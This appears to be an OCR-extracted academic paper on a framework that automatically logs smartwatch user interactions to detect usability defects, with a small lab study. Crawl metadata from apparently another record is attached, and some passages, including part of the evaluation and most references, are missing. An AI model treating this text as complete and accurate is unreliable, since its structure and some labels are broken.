[5000, 5225, null], [5225, 5523, null], [5523, 5544, null], [5544, 5927, null], [5927, 6446, null], [6446, 6854, null], [6854, 7453, null], [7453, 7509, null], [7509, 7542, null], [7542, 7568, null], [7568, 7601, null], [7601, 7627, null], [7627, 7983, null], [7983, 8638, null], [8638, 8697, null], [8697, 8865, null], [8865, 9481, null], [9481, 10117, null], [10117, 10379, null], [10379, 11049, null], [11049, 11316, null], [11316, 11734, null], [11734, 12034, null], [12034, 12362, null], [12362, 12688, null], [12688, 13270, null], [13270, 13441, null]], "google_gemma-3-12b-it_is_public_document": [[0, 172, true], [172, 739, null], [739, 1068, null], [1068, 1754, null], [1754, 2210, null], [2210, 2630, null], [2630, 2813, null], [2813, 3157, null], [3157, 3566, null], [3566, 3937, null], [3937, 4218, null], [4218, 4598, null], [4598, 4666, null], [4666, 4685, null], [4685, 4767, null], [4767, 4852, null], [4852, 5000, null], [5000, 5225, null], [5225, 5523, null], [5523, 5544, null], [5544, 5927, null], [5927, 6446, null], [6446, 6854, null], [6854, 7453, null], [7453, 7509, null], [7509, 7542, null], [7542, 7568, null], [7568, 7601, null], [7601, 7627, null], [7627, 7983, null], [7983, 8638, null], [8638, 8697, null], [8697, 8865, null], [8865, 9481, null], [9481, 10117, null], [10117, 10379, null], [10379, 11049, null], [11049, 11316, null], [11316, 11734, null], [11734, 12034, null], [12034, 12362, null], [12362, 12688, null], [12688, 13270, null], [13270, 13441, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 13441, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 13441, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 13441, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 13441, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 13441, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 13441, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 13441, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 13441, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 13441, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 13441, null]], "pdf_page_numbers": [[0, 172, 1], [172, 739, 2], [739, 1068, 3], [1068, 1754, 4], [1754, 2210, 5], [2210, 2630, 6], [2630, 2813, 7], [2813, 3157, 8], [3157, 3566, 9], [3566, 3937, 10], [3937, 4218, 11], [4218, 4598, 12], [4598, 4666, 13], [4666, 4685, 14], [4685, 4767, 15], [4767, 4852, 16], [4852, 5000, 17], [5000, 5225, 18], [5225, 5523, 19], [5523, 5544, 20], [5544, 5927, 21], [5927, 6446, 22], [6446, 6854, 23], [6854, 7453, 24], [7453, 7509, 25], [7509, 7542, 26], [7542, 7568, 27], [7568, 7601, 28], [7601, 7627, 29], [7627, 7983, 30], [7983, 8638, 31], [8638, 8697, 32], [8697, 8865, 33], [8865, 9481, 34], [9481, 10117, 35], [10117, 10379, 36], [10379, 11049, 37], [11049, 11316, 38], [11316, 11734, 39], [11734, 12034, 40], [12034, 12362, 41], [12362, 12688, 42], [12688, 13270, 43], [13270, 13441, 44]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 13441, 0.06357]]}
|
olmocr_science_pdfs
|
2024-11-27
|
2024-11-27
|
099356751622f7f1044ffcecb90c8dc88c490688
|
Design and Implementation of a Usability-Framework for Smartwatches
Steffen Zenker
University of Goettingen
steffen.zenker@uni-goettingen.de
Sebastian Hobert
University of Goettingen
shobert@uni-goettingen.de
Abstract
Due to technological developments in the last decade, the class of wearable computers arose which offers innovative access to human-computer interaction. Especially smartwatches attracted attention and are established as a permanently worn computer device on many wrists nowadays. In particular, for new technologies usability is an important success factor. Although usability is a well-known domain with a long research history, unique characteristics of smartwatch applications complicate the utilization of recent usability analysis methods. Therefore, we survey recent techniques for the usability analysis, outline and respectively adapt suited approaches based on the requirements induced by the special characteristics of smartwatches. In addition, we design and implement a usability framework that facilitates the automated usability analysis for smartwatch applications in a design science research approach. Furthermore, we demonstrate the applicability of the developed framework and show the results of a usability analysis for an exemplary case study.
1. Introduction
In the domain of mobile devices, which have been dominated by smartphones in the last decade, a new category of devices evolved due to technological advances and the ongoing miniaturization of computing components: wearable computers. They are worn on the user’s body [8, 35], are experiencing an immense upswing and promise an improved human-computer interaction due to ubiquitous and non-disruptive access to information [44]. Examples are clothes integrating digital systems, smartglasses, and smartwatches [38].
The continuous increase in sales of wearable computers is significantly driven by digital wristwatches, which are forecasted to account for 64% of total sales of wearables in 2022 [20]. One reason for this can be found in the public acceptance of these devices caused by the familiarity of watches and the experience of well-being while wearing it. Nevertheless, smartwatch applications have to offer additional value and have to fit into a user’s everyday life seamlessly.
Thus, the usability of smartwatch applications is an important success factor as it facilitates the efficient and effective use of an application. Typically, consumers obtain their applications from app-stores like Google Play or Apple App Store and can choose from a broad range of software products that differ in their functionality and design. In many cases, there are multiple providers for an application with similar functionalities. Users tend to prefer applications that provide the best usability, since those applications can solve the particular problem in an easily learnable and effective way, which reduces their cognitive load [4, 5]. Hence, considering usability becomes an economic factor for software developers. In the corporate context employees usually cannot choose their favorite application, since the selection is rather done by the employer. Thus, companies have to make sure, that the provided software-tools are appropriate. It should be easy for employees to learn the operation of an application in order to avoid a first barrier. A key factor is the high efficiency of an application. Employees should have fast access to particular functionality without taking unnecessary thoughts and paths, which makes it possible for them to focus on their proper work and save time. Furthermore, well-designed applications can facilitate to avoid mistakes and support employees within their working tasks. Finally, usability is strongly connected to acceptance as it is proposed by the Technology Acceptance Model [12] and weakly designed software can lead to a lack of motivation, fears, and denial of systems [1]. Since employees are an important economic factor, companies can benefit from investing in the design of their software and taking usability into account.
However, the small form factor and novel operating concepts of smartwatches introduce a series of new challenges and unique requirements. Usability, in particular, poses a challenge, because interaction primarily takes place on the small touch-sensitive screens [21]. The dimensions of a wristwatch, make user input more error-prone and the input of text seems
impracticable [10]. In addition, the heterogeneity of smartwatch-devices including different forms (e.g., round or squared), operating systems and hardware buttons necessitate a holistic view on usability analysis.
Gaining knowledge about the usability of smartwatch applications is of immense importance for research and practice. For research, it forms the theoretical foundation for the design of future concepts and possible solutions. For practice, it is possible to create applications and devices with a high level of satisfaction and to conquer market shares.
In order to develop a usability-framework for smartwatches, we apply a design science approach [27] in this paper. We propose a research design strongly inspired by Peffers et al. [34] including the problem identification, the deduction of objectives, the design process, and finally the demonstration and evaluation in order to design a usability framework for smartwatch applications. Overall we address the following research questions:
RQ1: Which requirements arise during the analysis of usability for smartwatch applications? RQ2: How can existing methods be implemented in a framework to analyze the usability of smartwatch applications automatically?
To answer these research questions, the remainder of this article is structured as follows: First we present definitions of basic terms introducing the domain of smartwatch applications and usability and outline related research in section 2. Second, we describe our research method based on the design science research framework of Peffers et al. [34] in section 3. By applying the research framework to our problem, we illustrate the results of our design science approach in section 4. Finally, we discuss our findings and outline our research contributions for theory and practice in section 5.
2. Theoretical Foundation and Related Research
Since literature has not focused on usability analysis for smartwatches so far, we survey recent approaches and techniques targeted at mobile systems to gain a holistic view, build a foundation for further considerations and transfer the results to smartwatches. First, we provide definitions for the basic terms and then present the related research.
For a first containment and delimitation of our examination, we sharpen the range of the considered devices. Mobile devices are designed for mobile use and are characterized by high independence of physical locations, accessibility and localizability [13]. The devices natively provide connectivity over wireless technologies and are driven by operating systems, which can be extended as required with additional installable and executable applications [22]. The span of devices ranges from smartphones and tablets to wearable computers like smartwatches. Mobile applications are special application programs that are designed to run on a mobile device, covering the special characteristics of mobile devices [29]. A smartwatch is a digital wristwatch extended by a touch screen and other common computer hardware components, such as a processor, working memory and battery. In addition, smartwatches provide a wide range of sensors and wireless technologies such as Near Field Communication (NFC), Global Positioning System (GPS) or Bluetooth as well as a microphone. The interaction with a smartwatch can be done with hardware components, such as the touch screen, buttons, voice control, or a coupled smartphone. Furthermore, smartwatches are equipped with a hardware-independent operating system, which can be executed on different devices, and delimit from other similar devices through the ability to install and execute additional software applications. Not all digital wristwatches, e.g., fitness tracker, meet these criteria and can rather be considered as featurewatches (c.f. featurephones [22]) that provide simple interaction through the coupling with a smartphone [30] and wireless interfaces. The implementation of applications for smartwatches depends on the platform and the operating system and is primarily done natively and fully independent of a smartphone in the platform-specific programming languages (e.g., Java) and the operating system's own Software Development Kit (SDK) accessing the platform-specific hardware and software components over the application programming interface (API).
The user-friendliness or usability of an application can be considered as a quality feature of a product and is defined as intuitive access to the operation of a product in order to accomplish a specific task. Usability is thus understood as a pragmatic quality of software in terms of achievement of objectives. Usability is defined according to ISO 9241-11 (2018) as the product of (1) effectiveness in the sense of usability for the fulfillment of tasks, (2) efficiency as a measure of the time and effort required to fulfill tasks, and (3) satisfaction as a measure for the positive attitude towards the use of the product in a particular context. It has to be distinguished from user experience, which is the users’ perception of a system in consideration of the expected utility. In addition, Nielsen [32] considers the following criteria to play an important role in usability: (1) learnability - how easy can a user learn the operation of an application, (2) memorability - how good can a user operate an application after a certain amount of time without use,
and (3) error frequency - how many errors does a user provoke, how serious are these errors and how easily the user can find a solution to resolve the problem.
The mentioned usability attributes can be assigned to the People at the Centre of Mobile Application Development (PACMAD) model [17]. The PACMAD model focuses on the usability of a mobile application and identifies the user, the task, and the context as the primary influencing factors for usability. The context got a special role, as the applications are used in different contexts under various influencing conditions. With reference to smartwatches, this factor gets even more important, since the devices, concerning their form factor, are used in highly dynamic contexts. Due to this high mobility including simultaneous or interfering activities and environmental influences, not the full cognitive attention of a user can be presumed as in traditional usability investigations of desktop applications. For this reason, PACMAD uses the cognitive load which is necessitated by an application as a core usability attribute [17].
The term evaluation is generally used to describe a structured and objective evaluation of an object of investigation. A usability problem can be defined as a problem that a user encounters when using the system to complete a task within an application scenario [3]. A usage problem is attributed to a usability defect arising due to a violation of a usability principle and can have negative consequences for the user [28]. For the early detection of problems and thus avoidance and limitation of the negative consequences, usability evaluation methods are used. The methods can be classified into qualitative methods producing data, which has to be interpreted (testing, observing and questioning), and quantitative methods, which are based on defined metrics having numerical and objective data as a result (simulation and analytical modeling) [19]. For qualitative methods, moderated method types with little automation are common, such as the observation and recording, interviews, think-aloud protocols or heuristic methods. For quantitative methods in practice, unmoderated method types are frequently used, such as online questionnaires based on the usability scale system [39], the automated metric recording of an object of investigation or a task model [32].
The methods are used in various test environments, which is one influencing factor in the four-factor framework of contextual fidelity that describes the quality of the results of a usability evaluation [37]. Accordingly, the test environment has to resemble the actual operational environment, in order to avoid a negative impact on the quality. The laboratory test is one of the most frequently used test environments [22] since it takes place in a controlled and open definable context almost free of accidental environmental influences. This allows to collect data through a variety of instruments during a moderated evaluation, which is highly specified and consequently exactly reproducible. Due to the versatile use cases of a smartwatch, the simulation of the particular environment in a laboratory test is a considerable challenge [43]. The research on automated usability measurement of smartwatches is still in its infancy. Recent methods split into static analysis, evaluating the source code and especially the design files during the development, and dynamic analysis considering user interactions. With reference to the previous remarks, the focus of this work are quantitative and automated usability evaluation methods.
Besides the theory about usability, there is related research especially in the domain of mobile and web applications. Gossen et al. [15] have expanded qualitative usability analysis by including the results of search engines or social media. Harrison et al. [17] did an extensible literature review on the usability of mobile applications and demand a new usability model. Balagtas-Fernandez and Hussmann [7] propose a methodology and a framework to aid developers during the preparation of mobile systems for usability analysis. Ahmad et al. [2] evaluated the usability of smartphones with a usability testing approach considering Android and iOS. Lettner and Holzmann [24] developed an automated and unsupervised system for usability evaluation by user interaction logging. Furthermore, there are the HUI Analyzer of Baker et al. [6], the EvaHelper framework [7] and the toolkit for usability testing of Ma et al. [25]. A number of studies cover logging on websites like Grigera et al. [16] who used usability smells to automatically generate a usability report. Beyond the scientific work, there are several commercial products, such as Google Analytics, Flurry Analytics, Localytics or User Metrix, which allow the user logging on native and web-based applications.
In the domain of smartwatches, initial efforts arose in the last couple of years. Chun et al. [11] conducted a qualitative study to access the usage and usability of smartwatches and elaborated guidelines for future smartwatches. Park et al. [33] examined different types of menu interfaces for smartwatch applications in a qualitative study. Finally, Wong et al. [41] considered the usability of smartwatches used for cheating in academic examinations.
3. Research Design
To target the research gap regarding the dynamic usability analysis of smartwatch applications, we applied a mixed-methods approach based on the problem-centered design science research process model by Peffers et al. [34] as shown in Figure 1. According to the process model, the development of the usability framework should be grounded in the problem.
identification phase (step 1). To this aim, we rely on a structured literature review following vom Brocke et al. [9]. The main goal of this literature review is to gain a holistic view of recent approaches to usability analysis on mobile devices. This builds the foundation for an investigation of eligibility and possible adaption in order to apply these methods on smartwatch applications considering the device-specific characteristics. With these characteristics, we can infer objectives and requirements for the framework design and development (step 2). Following the design science research process model, we implemented a prototypical framework called usabilityWatch based on the requirements (step 3). Subsequently, we did a demonstration and evaluation according to Peffers et al. in step 4. For this, we integrated the usabilityWatch framework into an exemplary smartwatch application and conducted a laboratory study. We asked the participants to perform a task within a given scenario using a smartwatch application that supports employees in workflows. During the task, multiple paths and UI-elements have to be used and usability-events are logged by the framework. Finally, the gathered data can be analyzed to access usability-insights.
4. usabilityWatch Framework
In this section, we present the design of the usability framework usabilityWatch, which addresses the identified research gap. It simplifies the typical set of tasks for usability evaluation conducted by a developer including the preparation of a targeted application and the test environment, the data collection, the extraction of information and the data analysis [7].
4.1. Problem Identification
Based on the structured literature review, we identified a lot of research regarding usability for mobile information systems (see section 2). But so far there is little effort to analyze usability on smartwatches. Certainly, most qualitative methods, e.g. laboratory tests, can be applied to smartwatches as well. Since, 60 % of software problems are associated with the graphical user interface, which though in 5 % lead to a system crash, but have a negative effect on usage in 65 % [36], the users’ behavior can reveal most of the usability defects. However, there are no approaches to automatically and dynamically assess usability by analyzing the users’ interaction with the application considering the special characteristics of smartwatches.
4.2. Objectives of a solution
In order to address the first research question (RQ 1), the existing literature is analyzed for requirements for the automated measurement of usability on mobile devices. From more than 40 occurring requirements we elaborated seven requirements for our usability framework by selection and adoption in regard to smartwatches. We structured these into the domains data collection and data analysis (see Table 1).
Our aim is to implement a framework, that provides a dynamic usability analysis. Although in Wear OS development structured layout files (XML) exist, which can be analyzed statically beforehand, we focus on the direct user interaction due to the highly restricted range of input elements on smartwatches. The static analysis does not offer a substitute for insights from the actual use of an application by the user captured by defined metrics [6] and depends strongly on the target device size and form factor. In order to determine the actual use of an application in the context of dynamic analysis, the recording of user interactions is a core functionality (R1) [40]. The degree of automation should, as far as possible and reasonable, be considered [6] and the evaluation should be transparent for the user and has not to interfere or disturb normal use [31]. For the data collection, the framework has to provide appropriate metrics (R2) that can provide measurements, e.g., a swipe-to-touch ratio or dwell times, based on the recorded data. They have to be selected for the special characteristics of smartwatches as small display sizes and a broad range of hardware. The metrics should be tailored for the interest groups of the evaluation results in order to provide them with easy access to the necessary information. Overall, the framework should be designed for simple integration in existing smartwatch applications without a high programming effort (R3). Since laboratory environments compromise the detection of usability defects due to an unrealistic situation, the framework should be robust, inconspicuous and therefore usable in real application
<table>
<thead>
<tr>
<th>Stage</th>
<th>Problem Identification</th>
<th>Objectives of a Solution</th>
<th>Design and Development</th>
<th>Demonstration and Evaluation</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Problem Identification</td>
<td>Get insights about user interaction and behavior in order to improve the usability of a smartwatch-application.</td>
<td>Development of a framework for smartwatch-applications that can collect and analyze information about user interaction and behavior.</td>
<td>Implementation of the usabilityWatch framework for Android WearOS based smartwatches.</td>
<td>Demonstration and evaluation of the usabilityWatch framework within a laboratory study examining a exemplary smartwatch application.</td>
</tr>
</tbody>
</table>
Figure 1. Research design adapted from Peffers et al. [34]
environments [31]. Due to the high level of miniaturization, the limited computing and battery capacity get into the focus [23]. In addition, the connectivity of a smartwatch to wide area networks cannot be assured for any point in further. Furthermore, the available transfer volume of data is only seldom unlimited and should, therefore, be taken into account. Thus, the framework has to provide solid data transfer (R4). The purpose of data analysis is to draw conclusions. For that in a first step, data segmentation is required (R5) facilitating to view and compare the data in different dimensions [18]. In order to meet the changing demands of evaluation, a flexible and modular architecture is necessary [31]. Furthermore, it should be possible to process and analyze the collected data using appropriate methods (R6) [40]. Since data collection can get extensive over time and scales with the number of users, computationally involving operations have to be handled in a way that does not exhaust hardware capacities of smartwatches. Finally, usability defects should be derived from the prepared data (R7), which makes it possible to improve a smartwatch application due to these insights [18].
4.3. Design and Development
To meet the elaborated objectives, we designed and developed the usability framework for smartwatch applications usabilityWatch. The overall architecture (illustrated in Figure 2) is split into a smartwatch component, that is integrated into a targeted Wear OS (previously Android Wear) smartwatch application and a server component that gathers the arising data and provides usability reports to the developer. This architecture enables us to utilize the smartwatch for direct data collection observing the behavior of the user and overcome device limitations for a decent data analysis due to higher computing capacities provided by a server. In reference to R5, data should be visualized on an appropriate screen size, which is not the case with a smartwatch. Furthermore, regarding R6, it exceeds the computing power of a smartwatch to process large amounts of data. Anyway, a server is required to gather the data from multiple devices and users.
In the domain of the smartwatch application of interest, we provide a lightweight framework component, which in reference to R5 can be easily integrated by including and compiling the framework’s Java package into the application’s main activity. It seamlessly hooks into the required event handlers, overloads non-invasively application methods and implements the usability event logging as well as the communication to the server component. To access the full potential of the framework, the integration can benefit from aspect-oriented programming, e.g., AspectJ, which increases modularity, full separation of the frameworks and the application code and weaves the framework functions into the desired event listeners during the build process [14]. Besides the wireless connection to the server, the framework does not require more effort to implement and it is completely invisible to the user and does not interfere with the normal usage since it runs in the background within a separate thread. As nowadays wireless network access is ubiquitous and already constitutes a prerequisite for many smartwatch applications, the framework can be applied in a broad range of environments.
In order to capture significant usability events from the interaction of a user with the smartwatch application
<table>
<thead>
<tr>
<th>Table 1. Requirements for data collection and analysis</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>data collection</strong></td>
</tr>
<tr>
<td>R1 automated recording of user inputs and interactions</td>
</tr>
<tr>
<td>R2 tester-oriented usability metrics handling the broad range of hardware and display resolutions of smartwatches</td>
</tr>
<tr>
<td>R3 simple integration in existing smartwatch applications to collect data within real application environments</td>
</tr>
<tr>
<td>R4 solid data transfer in spite of limited connectivity and power</td>
</tr>
</tbody>
</table>
to be examined and to meet R₁, *usabilityWatch* automatically logs the mayor issues occurring on a smartwatch. This includes (1) touch events (cf. clicks), (2) swipes (cf. scrolling) and (3) navigation events (changing the context of the screen). Since other components are mostly used to call operating system functions or other applications, e.g., a voice assistant, which interrupts the use of the targeted application, we neither consider interactions using hardware buttons due to the large heterogeneity of hardware devices providing a broad range of different numbers of buttons equipped with different functions nor touch gestures which are differently assigned for every underlying operating system. We consider R₂ by capturing metadata for all usability events outlined above. These are timestamps for all events, the coordinates for touch events, the start and end coordinates for swipe events and a screenshot after navigation events. This also contains information about the UI elements that were interacted with and information about the device as the screen size as well as the form factor. In the analysis phase, the data can be combined in different ways to obtain usability insights.
For smartwatches, persistent network access cannot be assumed due to possible poor wireless coverage or overload, and transmissions reduce the limited power of smartwatch devices. To address R₄, the framework first stores occurring usability events internally. Occasional, this buffer is automatically sent to the server. If an error occurs this is repeated until a connection is available and the server consequently returns successfully. For the communication, we implemented a REST interface [26] which is easy to use, fast, reliable and incorporates security aspects by using HTTPS.
For the server component, we use the combination of PHP and a relational MySQL database to benefit from their abilities related to web applications. In this way, we provide a desktop backend that is empowered with modern web technologies like HTML5 and makes it easy for developers to configure and access the usability analysis. As presented in Figure 3 *usabilityWatch* provides five main sections that can be accessed over the menu. First, there is a Dashboard that gives an overview including important key figures. Furthermore, it surveys how many users and sessions for each tracked application have already been recorded. Second, in the Application section smartwatch applications can be added, configured and removed. Only data of registered applications are recorded, other requests are being rejected. In addition, the overall behavior of the REST interface can be configured in the API section.
In order to address R₅, we implemented the Session section (depicted in Figure 3) which provides data segmentation over sessions and different dimensions as well as various visualizations of the recorded data. On the left side panel, *usabilityWatch* provides a comprehensive timeline that visualizes all events of a selected session. User interactions like touch and swipe events are illustrated in blue, a particular icon and show their coordinates of occurrence. Navigation events, which can be the result of a touch or are triggered by the smartwatch application, are illustrated in orange and respectively show the name of the reached screen. In addition, the navigation paths can be investigated with a Sankey diagram. The upper right side panel shows heat maps that aggregate all touch (left) and swipe (right) events which can be segmented by the corresponding

screen name. Areas of the screen, which show a high number of interactions, are dyed red, areas with low interaction are dyed blue. Since usabilityWatch captures screenshots, these heat maps can overlay the visible contents to facilitate the interpretation of this visualization. On the lower right panel, the relative distribution of dwell times is shown in a doughnut chart. It illustrates how much time a user stayed on a certain screen which is the time difference between two subsequent navigation events.
Finally, R\textsubscript{5} is implemented in the Usability Analysis section. Here the data is analyzed with a holistic view in order to generate insights into usability-defects. We elaborated and implemented several usability smells made for the specific needs of smartwatch applications. These can identify evidence for usability-defects, which are attributed to a violation of a usability-guideline leading to a problem for the user, by a specific pattern of usability events in the collected data. Similar to [16], we list the usability smells, anomalies of events and suggested refactoring that we derived from our previous studies in Table 2. To some extend similar smells in different contexts were also identified in the literature (like unresponsive element and distant content in web-applications [16]). The unresponsive element smell occurs whenever a user attempts to touch on an element, that does not respond to touch events. This happens when elements look like buttons but they are not. The smell can be detected by scanning for touch attempts that do not have a subsequent action. Similar to this smell inappropriate swipe area appears when user attempt to scroll on elements with a swipe gesture but the target is not able to scroll. This can happen if an element either does not support scrolling or the user started the swipe outside of the swipe area and can be identified by looking for swipe attempts without further action. Next, the framework provides the swipe-to-touch ratio metric. Looking at this value for each screen individually, the incomprehensible list smell can be detected if the value is unusually high. Ordinarily, a user scrolls through a list and touches the element of interest. In the optimal case, the mentioned ratio is 1, because it needs one single swipe to locate the desired item and one touch to activate it. A high ratio indicates, that the user has to swipe a lot until the element is found. This happens for lists with many elements in an unfavorable order or a confusing list structure. The missing confirmation smell occurs when a touch to an element instantly leads to an influential action, e.g. change of data or the application state. If this is unintended by the user, the restoring action can be found in the logs. Slightly different is the missing feedback smell. Here the user tends to check a change of data or an application state due to missing feedback subsequent to an action. Loops in the navigation path can reveal this in the data. Next, the missing processing indicator smell identifies computationally involving actions which block the UI for a time. For users, it is confusing if the application is not responding and they start to touch somewhere. To avoid that, a processing indicator can clarify that actually an action is performed and the user has to wait. Finally, there is the distant content smell that occurs for unnecessarily complicated navigation. A user has to navigate through several screens until the targeted content is arrived. If repeating navigation patterns without any other interaction on the screens in between are detected in the data, a direct navigation element can facilitate the user to use the application more effectively. Ultimately, since the analysis of the huge amount of data is done on the server-side R\textsubscript{5} is met as well.
### 4.4. Demonstration and Evaluation
For demonstration and evaluation, we conducted a laboratory study with 12 participants. We implemented the usabilityWatch framework in the exemplary smartwatch application smartActivity which provides collaborative support for employees in industrial workflows [42]. For that, an employee can receive, process and return activities according to a defined workflow. The application is composed of four screens:
<table>
<thead>
<tr>
<th>usability smell</th>
<th>usability events</th>
<th>refactoring</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unresponsive element</td>
<td>touch attempt on an element without any subsequent action</td>
<td>change UI appearance or add functionality to the element</td>
</tr>
<tr>
<td>Inappropriate swipe area</td>
<td>swipe attempt on an element without any subsequent reaction</td>
<td>change UI appearance, add UI interaction to the element or increase and highlight swipe area</td>
</tr>
<tr>
<td>Incomprehensible list</td>
<td>high swipe-to-touch ratio on a list</td>
<td>increase size of list widget, revise sorting or reduce number of elements</td>
</tr>
<tr>
<td>Missing confirmation</td>
<td>repeating action while restoring the previous state</td>
<td>add confirmation prompt before action execution</td>
</tr>
<tr>
<td>Missing feedback</td>
<td>repeating loops in navigation path pattern</td>
<td>add visual feedback when the action was performed</td>
</tr>
<tr>
<td>Missing processing indicator</td>
<td>long request delays navigation after button touch</td>
<td>add processing indicator</td>
</tr>
<tr>
<td>Distant content</td>
<td>repeating navigation patterns without non-navigation touch and swipe interaction in between</td>
<td>add direct navigation element</td>
</tr>
</tbody>
</table>
Another issue is described as “the back button was only half displayed and therefore hard to reach” (participants 4 and 5, 6, 7, 8). This can easily be seen in Figure 5 and is caused by an unintended shift of the whole layout of smartActivity to the bottom (small white area at the top). usabilityWatch reports the unresponsive element smell for touches close to the button. In combination with the heat map given in Figure 5, this issue can be detected.
Figure 5. Touch heat map of activity screen
As last commonly listed usability problem we got “faulty touches quickly lead to unwanted entries” (participants 4 and 2) and “I like to have more feedback that an action was executed after I touched a button” (participants 3 and 8). So far there is neither clear feedback that an action succeeded nor a confirmation prompt if an action should be performed. This leads to user behavior in which the action is checked or restored subsequently. The framework reports the missing feedback and missing confirmation smell due to a looping index of 3.2 and 2.7 respectively.
Summarizing, usabilityWatch can identify the reported usability problems within the recorded data. Some of the defects can be found completely automatically, for others the usability smells are just an indication and have to be combined with other (visual) metrics to conclude the defect.
5. Discussion and Conclusion
In this paper, we presented a usability framework for smartwatches. Inspired by the design science research method [34], we illustrated a problem-orientated research design. We first identified and described usability methods which are recently used for mobile devices (RQ1), since the usability analysis of smartwatches is a research gap. We formulated objectives and inferred requirements based on the conducted structured literature review and considered the unique characteristics of smartwatches. We presented the usabilityWatch framework composed of a smartwatch component, and web backend (RQ2). It provides easy integration into a smartwatch Wear OS application, automated logging of user interactions, visualization of the collected data with, e.g., heat maps and the analysis of usability defects. For that, we elaborated a list of usability smells suited for smartwatches. Finally, we proved in a demonstration
and evaluation that the framework can find similar usability defects as the participants of a laboratory study for an exemplary smartwatch application.
There are some limitations to our research study. Since usability is a well-researched topic the related literature is extensible and we cannot claim our review to be complete. Second, we tested the framework with just one exemplary smartwatch application within an exemplary scenario. We are planning to do tests with more applications in order to improve the modularity and simplicity of integration of the framework. Furthermore, we want to extend the list of usability smells and like to optimize the thresholds for the existing smell metrics towards realistic values by expanding the practice. Though, the application of the framework requires a proper interpretation of the results in order to benefit of the generated insights and to identify false positives that may occur in the automated analysis. In addition, the user of the framework has to be aware of metrics like the swipe-to-touch ratio which can be misleading whenever multiple scrollable elements appear at the same screen (unlikely due to small screen size) or the screen itself can be scrolled.
Since hardware buttons or digital crowns are noted as very pleasant, these should also be included in the corresponding scrolling metrics, which remains a complicated problem due to heterogeneous hardware and software widgets.
Nevertheless, we verified the utility of usabilityWatch in a realistic scenario and contribute to practice and research. The developer of smartwatch applications can benefit from usability insights in order to reduce a user’s cognitive load and to improve their applications. This can easily be done by analyzing the user’s interactions and no time consuming and expensive qualitative studies like laboratory tests are required. For practice, we created an applicable software solution for targeting automatically usability analysis on smartwatch devices in order to support developers. Within the research domain, we reviewed recent approaches and methods, modified and complemented them according to the unique characteristics of smartwatches covering main aspects of the PACMAD model. This transfer of methods forms the foundation for future studies for usability analysis on smartwatches.
6. References
[17] Harrison, R., D. Flood, and D. Duce, "Usability of mobile applications: literature review and rationale for a
|
{"Source-Url": "https://aisel.aisnet.org/cgi/viewcontent.cgi?article=1782&context=hicss-53", "len_cl100k_base": 7442, "olmocr-version": "0.1.53", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 41067, "total-output-tokens": 10617, "length": "2e12", "weborganizer": {"__label__adult": 0.0009756088256835938, "__label__art_design": 0.00611114501953125, "__label__crime_law": 0.0005350112915039062, "__label__education_jobs": 0.004795074462890625, "__label__entertainment": 0.0002849102020263672, "__label__fashion_beauty": 0.0011720657348632812, "__label__finance_business": 0.0006251335144042969, "__label__food_dining": 0.0006570816040039062, "__label__games": 0.0024204254150390625, "__label__hardware": 0.03424072265625, "__label__health": 0.0023517608642578125, "__label__history": 0.0010824203491210938, "__label__home_hobbies": 0.00040268898010253906, "__label__industrial": 0.0008091926574707031, "__label__literature": 0.0009632110595703124, "__label__politics": 0.0003314018249511719, "__label__religion": 0.0008006095886230469, "__label__science_tech": 0.421875, "__label__social_life": 0.00015211105346679688, "__label__software": 0.0197296142578125, "__label__software_dev": 0.4970703125, "__label__sports_fitness": 0.0007529258728027344, "__label__transportation": 0.0014429092407226562, "__label__travel": 0.0003304481506347656}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 48002, 0.02782]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 48002, 0.19112]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 48002, 0.90345]], "google_gemma-3-12b-it_contains_pii": [[0, 4460, false], [4460, 9877, null], [9877, 15584, null], [15584, 20931, null], [20931, 25128, null], [25128, 28752, null], [28752, 34408, null], [34408, 36721, null], [36721, 42257, null], [42257, 48002, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4460, true], [4460, 9877, null], [9877, 15584, null], [15584, 20931, null], [20931, 25128, null], [25128, 28752, null], [28752, 34408, null], [34408, 36721, null], [36721, 42257, null], [42257, 48002, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 48002, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 48002, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 48002, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 48002, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 48002, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 48002, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 48002, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 48002, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 48002, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 48002, null]], "pdf_page_numbers": [[0, 4460, 1], [4460, 9877, 2], [9877, 15584, 3], [15584, 20931, 4], [20931, 25128, 5], [25128, 28752, 